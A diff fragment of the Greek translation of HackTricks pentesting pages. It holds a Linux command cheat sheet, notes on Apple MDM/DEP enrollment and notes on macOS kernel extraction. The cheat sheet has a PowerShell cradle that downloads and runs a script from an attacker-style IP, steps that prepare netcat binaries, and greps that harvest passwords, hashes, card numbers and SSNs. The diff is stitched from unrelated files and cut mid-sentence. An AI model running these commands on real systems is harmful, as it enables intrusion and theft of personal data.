||||||
|
# List files inside zip
|
||||||
|
7z l file.zip
|
||||||
|
```
|
||||||
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.\
|
||||||
|
Αποκτήστε πρόσβαση σήμερα:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
## Bash για Windows
|
||||||
|
```bash
|
||||||
|
#Base64 for Windows
|
||||||
|
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
|
||||||
|
|
||||||
|
#Exe compression
|
||||||
|
upx -9 nc.exe
|
||||||
|
|
||||||
|
#Exe2bat
|
||||||
|
wine exe2bat.exe nc.exe nc.txt
|
||||||
|
|
||||||
|
#Compile Windows python exploit to exe
|
||||||
|
pip install pyinstaller
|
||||||
|
wget -O exploit.py http://www.exploit-db.com/download/31853
|
||||||
|
python pyinstaller.py --onefile exploit.py
|
||||||
|
|
||||||
|
#Compile for windows
|
||||||
|
#sudo apt-get install gcc-mingw-w64-i686
|
||||||
|
i686-mingw32msvc-gcc -o executable useradd.c
|
||||||
|
```
|
||||||
|
## Φίλτρα Greps
|
||||||
|
```bash
|
||||||
|
#Extract emails from file
|
||||||
|
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
|
||||||
|
|
||||||
|
#Extract valid IP addresses
|
||||||
|
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt
|
||||||
|
|
||||||
|
#Extract passwords
|
||||||
|
grep -i "pwd\|passw" file.txt
|
||||||
|
|
||||||
|
#Extract users
|
||||||
|
grep -i "user\|invalid\|authentication\|login" file.txt
|
||||||
|
|
||||||
|
# Extract hashes
|
||||||
|
#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128})
|
||||||
|
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt
|
||||||
|
#Extract valid MySQL-Old hashes
|
||||||
|
grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt
|
||||||
|
#Extract blowfish hashes
|
||||||
|
grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt
|
||||||
|
#Extract Joomla hashes
|
||||||
|
egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt
|
||||||
|
#Extract VBulletin hashes
|
||||||
|
egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt
|
||||||
|
#Extraxt phpBB3-MD5
|
||||||
|
egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt
|
||||||
|
#Extract Wordpress-MD5
|
||||||
|
egrep -o '$P$S{31}' *.txt > wordpress-md5.txt
|
||||||
|
#Extract Drupal 7
|
||||||
|
egrep -o '$S$S{52}' *.txt > drupal-7.txt
|
||||||
|
#Extract old Unix-md5
|
||||||
|
egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt
|
||||||
|
#Extract md5-apr1
|
||||||
|
egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt
|
||||||
|
#Extract sha512crypt, SHA512(Unix)
|
||||||
|
egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt
|
||||||
|
|
||||||
|
#Extract e-mails from text files
|
||||||
|
grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt
|
||||||
|
|
||||||
|
#Extract HTTP URLs from text files
|
||||||
|
grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt
|
||||||
|
#For extracting HTTPS, FTP and other URL format use
|
||||||
|
grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt
|
||||||
|
#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex"
|
||||||
|
|
||||||
|
#Extract Floating point numbers
|
||||||
|
grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt
|
||||||
|
|
||||||
|
# Extract credit card data
|
||||||
|
#Visa
|
||||||
|
grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt
|
||||||
|
#MasterCard
|
||||||
|
grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt
|
||||||
|
#American Express
|
||||||
|
grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt
|
||||||
|
#Diners Club
|
||||||
|
grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt
|
||||||
|
#Discover
|
||||||
|
grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt
|
||||||
|
#JCB
|
||||||
|
grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt
|
||||||
|
#AMEX
|
||||||
|
grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt
|
||||||
|
|
||||||
|
# Extract IDs
|
||||||
|
#Extract Social Security Number (SSN)
|
||||||
|
grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt
|
||||||
|
#Extract Indiana Driver License Number
|
||||||
|
grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt
|
||||||
|
#Extract US Passport Cards
|
||||||
|
grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt
|
||||||
|
#Extract US Passport Number
|
||||||
|
grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt
|
||||||
|
#Extract US Phone Numberss
|
||||||
|
grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
|
||||||
|
#Extract ISBN Numbers
|
||||||
|
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
|
||||||
|
```
|
||||||
|
## Εύρεση
|
||||||
|
```bash
|
||||||
|
# Find SUID set files.
|
||||||
|
find / -perm /u=s -ls 2>/dev/null
|
||||||
|
|
||||||
|
# Find SGID set files.
|
||||||
|
find / -perm /g=s -ls 2>/dev/null
|
||||||
|
|
||||||
|
# Found Readable directory and sort by time. (depth = 4)
|
||||||
|
find / -type d -maxdepth 4 -readable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
||||||
|
|
||||||
|
# Found Writable directory and sort by time. (depth = 10)
|
||||||
|
find / -type d -maxdepth 10 -writable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
||||||
|
|
||||||
|
# Or Found Own by Current User and sort by time. (depth = 10)
|
||||||
|
find / -maxdepth 10 -user $(id -u) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
||||||
|
|
||||||
|
# Or Found Own by Current Group ID and Sort by time. (depth = 10)
|
||||||
|
find / -maxdepth 10 -group $(id -g) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
||||||
|
|
||||||
|
# Found Newer files and sort by time. (depth = 5)
|
||||||
|
find / -maxdepth 5 -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
|
||||||
|
|
||||||
|
# Found Newer files only and sort by time. (depth = 5)
|
||||||
|
find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
|
||||||
|
|
||||||
|
# Found Newer directory only and sort by time. (depth = 5)
|
||||||
|
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
|
||||||
|
```
|
||||||
|
## Βοήθεια αναζήτησης Nmap
|
||||||
|
```bash
|
||||||
|
#Nmap scripts ((default or version) and smb))
|
||||||
|
nmap --script-help "(default or version) and *smb*"
|
||||||
|
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
|
||||||
|
nmap --script-help "(default or version) and smb)"
|
||||||
|
```
|
||||||
|
## Κέλυφος Bash
|
||||||
|
```bash
|
||||||
|
#All bytes inside a file (except 0x20 and 0x00)
|
||||||
|
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
|
||||||
|
```
|
||||||
|
## Iptables
|
||||||
|
|
||||||
|
### Περιγραφή
|
||||||
|
|
||||||
|
Το **iptables** είναι ένα εργαλείο που χρησιμοποιείται για τη διαχείριση των κανόνων πυραμίδας στα συστήματα Linux. Χρησιμοποιείται για την προστασία του συστήματος από επιθέσεις δικτύου, την προώθηση πακέτων, την αποκλεισμό IP και άλλες δικτυακές λειτουργίες.
|
||||||
|
```bash
|
||||||
|
#Delete curent rules and chains
|
||||||
|
iptables --flush
|
||||||
|
iptables --delete-chain
|
||||||
|
|
||||||
|
#allow loopback
|
||||||
|
iptables -A INPUT -i lo -j ACCEPT
|
||||||
|
iptables -A OUTPUT -o lo -j ACCEPT
|
||||||
|
|
||||||
|
#drop ICMP
|
||||||
|
iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP
|
||||||
|
iptables -A OUTPUT -p icmp -j DROP
|
||||||
|
|
||||||
|
#allow established connections
|
||||||
|
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
|
||||||
|
|
||||||
|
#allow ssh, http, https, dns
|
||||||
|
iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT
|
||||||
|
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
|
||||||
|
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
|
||||||
|
iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT
|
||||||
|
iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
|
||||||
|
iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
|
||||||
|
iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT
|
||||||
|
|
||||||
|
#default policies
|
||||||
|
iptables -P INPUT DROP
|
||||||
|
iptables -P FORWARD ACCEPT
|
||||||
|
iptables -P OUTPUT ACCEPT
|
||||||
|
```
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||||
|
Αποκτήστε πρόσβαση σήμερα:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
@ -9,7 +9,7 @@
|
||||||
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -22,21 +22,25 @@
|
||||||
## Βασικά
|
## Βασικά
|
||||||
|
|
||||||
### **Επισκόπηση του MDM (Mobile Device Management)**
|
### **Επισκόπηση του MDM (Mobile Device Management)**
|
||||||
Το [Mobile Device Management](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) χρησιμοποιείται για τη διαχείριση διάφορων συσκευών τελικών χρηστών, όπως smartphones, laptops και tablets. Ειδικά για τις πλατφόρμες της Apple (iOS, macOS, tvOS), περιλαμβάνει ένα σύνολο εξειδικευμένων χαρακτηριστικών, διεπαφών προγραμματισμού εφαρμογών (APIs) και πρακτικών. Η λειτουργία του MDM εξαρτάται από έναν συμβατό MDM διακομιστή, ο οποίος μπορεί να είναι εμπορικά διαθέσιμος ή ανοικτού κώδικα, και πρέπει να υποστηρίζει το [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Τα κύρια σημεία περιλαμβάνουν:
|
|
||||||
|
|
||||||
- Κεντρικός έλεγχος των συσκευών.
|
Το [Mobile Device Management](https://en.wikipedia.org/wiki/Mobile\_device\_management) (MDM) χρησιμοποιείται για τη διαχείριση διάφορων συσκευών τελικών χρηστών, όπως smartphones, laptops και tablets. Ειδικά για τις πλατφόρμες της Apple (iOS, macOS, tvOS), περιλαμβάνει ένα σύνολο εξειδικευμένων χαρακτηριστικών, διεπαφών προγραμματισμού εφαρμογών (APIs) και πρακτικών. Η λειτουργία του MDM εξαρτάται από έναν συμβατό MDM διακομιστή, ο οποίος μπορεί να είναι εμπορικά διαθέσιμος ή ανοικτού κώδικα, και πρέπει να υποστηρίζει το [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Τα κύρια σημεία περιλαμβάνουν:
|
||||||
- Εξάρτηση από έναν MDM διακομιστή που συμμορφώνεται με το πρωτόκολλο MDM.
|
|
||||||
- Δυνατότητα του MDM διακομιστή να αποστέλλει διάφορες εντολές στις συσκευές, όπως απομάκρυνση δεδομένων ή εγκατάσταση ρυθμίσεων.
|
* Κεντρικός έλεγχος των συσκευών.
|
||||||
|
* Εξάρτηση από έναν MDM διακομιστή που συμμορφώνεται με το πρωτόκολλο MDM.
|
||||||
|
* Δυνατότητα του MDM διακομιστή να αποστέλλει διάφορες εντολές στις συσκευές, όπως απομάκρυνση δεδομένων ή εγκατάσταση ρυθμίσεων.
|
||||||
|
|
||||||
### **Βασικά του DEP (Device Enrollment Program)**
|
### **Βασικά του DEP (Device Enrollment Program)**
|
||||||
Το [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) που προσφέρεται από την Apple διευκολύνει την ενσωμάτωση της διαχείρισης συσκευών κινητής τηλεφωνίας (MDM) με τη δυνατότητα αυτόματης διαμόρφωσης για συσκευές iOS, macOS και tvOS. Το DEP αυτοματοποιεί τη διαδικασία εγγραφής, επιτρέποντας στις συσκευές να είναι λειτουργικές αμέσως μετά το ξεκίνημα, με ελάχιστη παρέμβαση από τον χρήστη ή τον διαχειριστή. Τα βασικά στοιχεία περιλαμβάνουν:
|
|
||||||
|
|
||||||
- Δυνατότητα στις συσκευές να εγγράφονται αυτόνομα σε έναν προκαθορισμένο MDM διακομιστή κατά την αρχική ενεργοποίηση.
|
Το [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP\_Guide.pdf) (DEP) που προσφέρεται από την Apple διευκολύνει την ενσωμάτωση της διαχείρισης συσκευών κινητής τηλεφωνίας (MDM) με τη δυνατότητα αυτόματης διαμόρφωσης για συσκευές iOS, macOS και tvOS. Το DEP αυτοματοποιεί τη διαδικασία εγγραφής, επιτρέποντας στις συσκευές να είναι λειτουργικές αμέσως μετά το ξεκίνημα, με ελάχιστη παρέμβαση από τον χρήστη ή τον διαχειριστή. Τα βασικά στοιχεία περιλαμβάνουν:
|
||||||
- Χρήσιμο κυρίως για ολοκαίνουργιες συσκευές, αλλά εφαρμόσιμο και για συσκευές που υποβάλλονται σε αναδιαμόρφωση.
|
|
||||||
- Διευκολύνει μια απλή εγκατάσταση, καθιστώντας τις συσκευές έτοιμες για την οργανωτική χρήση γρήγορα.
|
* Δυνατότητα στις συσκευές να εγγράφονται αυτόνομα σε έναν προκαθορισμένο MDM διακομιστή κατά την αρχική ενεργοποίηση.
|
||||||
|
* Χρήσιμο κυρίως για ολοκαίνουργιες συσκευές, αλλά εφαρμόσιμο και για συσκευές που υποβάλλονται σε αναδιαμόρφωση.
|
||||||
|
* Διευκολύνει μια απλή εγκατάσταση, καθιστώντας τις συσκευές έτοιμες για την οργανωτική χρήση γρήγορα.
|
||||||
|
|
||||||
### **Σκέψεις ασφαλείας**
|
### **Σκέψεις ασφαλείας**
|
||||||
|
|
||||||
Είναι σημαντικό να σημειωθεί ότι η ευκολία εγγραφής που παρέχει το DEP, ενώ είναι ωφέλιμη, μπορεί επίσης να δημιουργήσει κινδύνους ασφαλείας. Εάν δεν επιβάλλονται επαρκείς προφυλάξεις για την ε
|
Είναι σημαντικό να σημειωθεί ότι η ευκολία εγγραφής που παρέχει το DEP, ενώ είναι ωφέλιμη, μπορεί επίσης να δημιουργήσει κινδύνους ασφαλείας. Εάν δεν επιβάλλονται επαρκείς προφυλάξεις για την ε
|
||||||
|
|
||||||
### Βήμα 4: Έλεγχος DEP - Λήψη της Εγγραφής Ενεργοποίησης
|
### Βήμα 4: Έλεγχος DEP - Λήψη της Εγγραφής Ενεργοποίησης
|
||||||
|
|
||||||
Αυτό το μέρος της διαδικασίας συμβαίνει όταν ένας χρήστης εκκινεί ένα Mac για πρώτη φορά (ή μετά από πλήρη επαναφορά)
|
Αυτό το μέρος της διαδικασίας συμβαίνει όταν ένας χρήστης εκκινεί ένα Mac για πρώτη φορά (ή μετά από πλήρη επαναφορά)
|
||||||
|
@ -55,16 +59,16 @@
|
||||||
Ακολουθούν μερικά βήματα για τη λήψη της Εγγραφής Ενεργοποίησης που πραγματοποιείται από το `MCTeslaConfigurationFetcher`. Αυτή η διαδικασία χρησιμοποιεί έναν κρυπτογραφικό αλγόριθμο που ονομάζεται Absinthe.
|
Ακολουθούν μερικά βήματα για τη λήψη της Εγγραφής Ενεργοποίησης που πραγματοποιείται από το `MCTeslaConfigurationFetcher`. Αυτή η διαδικασία χρησιμοποιεί έναν κρυπτογραφικό αλγόριθμο που ονομάζεται Absinthe.
|
||||||
|
|
||||||
1. Λήψη πιστοποιητικού
|
1. Λήψη πιστοποιητικού
|
||||||
1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
|
2. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
|
||||||
2. Αρχικοποίηση κατάστασης από το πιστοποιητικό (`NACInit`)
|
3. Αρχικοποίηση κατάστασης από το πιστοποιητικό (`NACInit`)
|
||||||
1. Χρησιμοποιεί διάφορα δεδομένα που αφορούν τη συσκευή (π.χ. Αριθμός σειράς μέσω `IOKit`)
|
4. Χρησιμοποιεί διάφορα δεδομένα που αφορούν τη συσκευή (π.χ. Αριθμός σειράς μέσω `IOKit`)
|
||||||
3. Λήψη κλειδιού συνεδρίας
|
5. Λήψη κλειδιού συνεδρίας
|
||||||
1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
|
6. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
|
||||||
4. Εγκαθιδρύει τη συνεδρία (`NACKeyEstablishment`)
|
7. Εγκαθιδρύει τη συνεδρία (`NACKeyEstablishment`)
|
||||||
5. Κάνει το αίτημα
|
8. Κάνει το αίτημα
|
||||||
1. POST στο [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) αποστέλλοντας τα δεδομένα `{ "action": "RequestProfileConfiguration", "sn": "" }`
|
9. POST στο [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) αποστέλλοντας τα δεδομένα `{ "action": "RequestProfileConfiguration", "sn": "" }`
|
||||||
2. Το JSON payload κρυπτογραφείται χρησιμοποιώντας το Absinthe (`NACSign`)
|
10. Το JSON payload κρυπτογραφείται χρησιμοποιώντας το Absinthe (`NACSign`)
|
||||||
3. Όλα τα αιτήματα γίνονται μέσω HTTPS, χρησιμοποιούνται ενσωματωμένα πιστοποιητικά ρίζας
|
11. Όλα τα αιτήματα γίνονται μέσω HTTPS, χρησιμοποιούνται ενσωματωμένα πιστοποιητικά ρίζας
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (566).png>)
|
![](<../../../.gitbook/assets/image (566).png>)
|
||||||
|
|
||||||
|
@ -86,7 +90,7 @@
|
||||||
* Υπογράφεται χρησιμοποιώντας το πιστοποιητικό ταυτότητας της συσκευής (από το APNS)
|
* Υπογράφεται χρησιμοποιώντας το πιστοποιητικό ταυτότητας της συσκευής (από το APNS)
|
||||||
* Η αλυσίδα πιστοποιητικών περιλαμβάνει το ληγμένο Apple iPhone Device CA
|
* Η αλυσίδα πιστοποιητικών περιλαμβάνει το ληγμένο Apple iPhone Device CA
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (7).png>)
|
![](https://github.com/carlospolop/hacktricks/blob/gr/.gitbook/assets/image%20\(567\)%20\(1\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(7\).png)
|
||||||
|
|
||||||
### Βήμα 6: Εγκατάσταση του Προφίλ
|
### Βήμα 6: Εγκατάσταση του Προφίλ
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Πυρήνας & Επεκτάσεις Συστήματος macOS
|
# macOS Kernel & System Extensions
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -53,13 +53,14 @@
|
||||||
|
|
||||||
### IPC - Επικοινωνία Μεταξύ Διεργασιών
|
### IPC - Επικοινωνία Μεταξύ Διεργασιών
|
||||||
|
|
||||||
{% content-ref url="macos-ipc-inter-process-communication/" %}
|
{% content-ref url="../macos-proces-abuse/macos-ipc-inter-process-communication/" %}
|
||||||
[macos-ipc-inter-process-communication](macos-ipc-inter-process-communication/)
|
[macos-ipc-inter-process-communication](../macos-proces-abuse/macos-ipc-inter-process-communication/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Kernelcache
|
### Kernelcache
|
||||||
|
|
||||||
Το **kernelcache** είναι μια **προ-μεταγλωττισμένη και προ-συνδεδεμένη έκδοση του πυρήνα XNU
|
Το **kernelcache** είναι μια \*\*προ-μεταγλωττισμένη και προ-συνδεδεμένη έκδοση του πυρήνα XNU
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# pyimg4 (https://github.com/m1stadev/PyIMG4)
|
# pyimg4 (https://github.com/m1stadev/PyIMG4)
|
||||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||||
|
@ -67,6 +68,7 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
|
||||||
# img4tool (https://github.com/tihmstar/img4tool
|
# img4tool (https://github.com/tihmstar/img4tool
|
||||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Σύμβολα Kernelcache
|
#### Σύμβολα Kernelcache
|
||||||
|
|
||||||
Κάποιες φορές η Apple κυκλοφορεί **kernelcache** με **σύμβολα**. Μπορείτε να κατεβάσετε μερικά firmwares με σύμβολα ακολουθώντας τους συνδέσμους στο [https://theapplewiki.com](https://theapplewiki.com/).
|
